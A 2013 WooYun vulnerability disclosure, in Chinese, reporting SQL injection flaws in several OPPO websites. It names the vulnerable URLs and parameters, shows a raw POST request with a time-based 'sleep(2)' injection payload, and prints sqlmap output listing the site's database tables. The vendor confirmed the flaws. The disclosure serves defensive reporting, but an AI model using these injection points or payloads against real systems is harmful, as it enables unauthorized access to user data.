当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-026158

漏洞标题：OPPO多处SQL注入，用户数据及管理员密码测漏

相关厂商：广东欧珀移动通讯有限公司

漏洞作者： 海绵宝宝

提交时间：2013-06-17 17:30

修复时间：2013-08-01 17:30

公开时间：2013-08-01 17:30

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-06-17： 细节已通知厂商并且等待厂商处理中
2013-06-18： 厂商已经确认，细节仅向厂商公开
2013-06-28： 细节向核心白帽子及相关领域专家公开
2013-07-08： 细节向普通白帽子公开
2013-07-18： 细节向实习白帽子公开
2013-08-01： 细节向公众公开

简要描述：

还不能求个礼物么。。。

详细说明：

①为post注入

http://www.oppobd.com/product-user-info.php

id这个参数
利用WVS返回的信息和sqlmap注入
WVS返回信息

POST /product-user-info.php HTTP/1.1
Content-Length: 161
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=28513184bc2052ebca879160c80cd6be; CNZZDATA4450630=cnzz_eid%3D1442788402-1371454812-http%253A%252F%252Fwww.oppobd.com%26ntime%3D1371454812%26cnzz_a%3D0%26retime%3D1371454816011%26sin%3Djavascript%253ADfMNArKWIJ4SZ61N()%253C%253E%26ltime%3D1371454816011%26rtime%3D0
Host: www.oppobd.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*
act=update&address=3137%20Laguna%20Street&birthday=1970-01-01&city=&email=sample%40email.tst&id=1%20and%20sleep%282%29%20&mobile=1&province=2&sex=2&zipcode=94102


②post注入

http://www.oppobd.com/club_login.php

username这个参数
利用Burpsuite配合Sqlmap注入
③get注入

www.oppo.com/index.php?q=ebook/product/detail&name=E601

name这个参数
之前别人提交过q后为mp3的注入，但是q=ebook的没有修复
④

http://theme.oppo.com/?q=index/list&model=T703&sortby=downloads


sortby这个参数
不要只修复这一个页面，model后各种手机型号的页面 都存在注入

漏洞证明：

①②

3.jpg


2.jpg


这个是用户数据吧

1.jpg


③

4.jpg


Database: oppo_www
[45 tables]
+------------------------------+
| HrefStat                     |
| Tetris                       |
| attachment                   |
| ipfilter                     |
| ipfilterall                  |
| mobilenet_attachment         |
| oppo_aggragation             |
| oppo_android_heat            |
| oppo_apk_downloads           |
| oppo_article                 |
| oppo_article_comment         |
| oppo_article_content         |
| oppo_assistant_feedback      |
| oppo_category                |
| oppo_ebook                   |
| oppo_editor_link             |
| oppo_editor_link_class       |
| oppo_globalfocus             |
| oppo_mobile                  |
| oppo_mobile_activation       |
| oppo_mobile_faq              |
| oppo_mobile_faq_category     |
| oppo_mobile_music            |
| oppo_mobile_music_category   |
| oppo_mobile_theme            |
| oppo_mobilenet               |
| oppo_mobilenet_news          |
| oppo_mp3                     |
| oppo_nearmeapk               |
| oppo_page                    |
| oppo_serviceqq               |
| oppo_softapk                 |
| oppo_softbeta                |
| oppo_softimage               |
| oppo_software                |
| oppo_stat                    |
| oppo_threadlist_record       |
| rom_updatelog                |
| search_record                |
| service_support_faq          |
| service_support_network      |
| service_support_opposhop     |
| service_support_opposhop_pic |
| ticket                       |
| ticketcode                   |
+------------------------------+


④

6.jpg

修复方案：

过滤吧

版权声明：转载请注明来源 海绵宝宝@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2013-06-18 15:29

厂商回复：

谢谢对OPPO的关注

最新状态：

暂无

漏洞评价：

评论

  1. 2013-06-18 22:20 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    尼玛，敢黑我东家？

  2. 2013-06-18 23:27 | 海绵宝宝 ( 普通白帽子 | Rank:243 漏洞数:50 | 唯有梦想与好姑娘不可辜负.)

    @蟋蟀哥哥 听说有礼物

  3. 2013-06-19 12:25 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    @海绵宝宝 这个可以有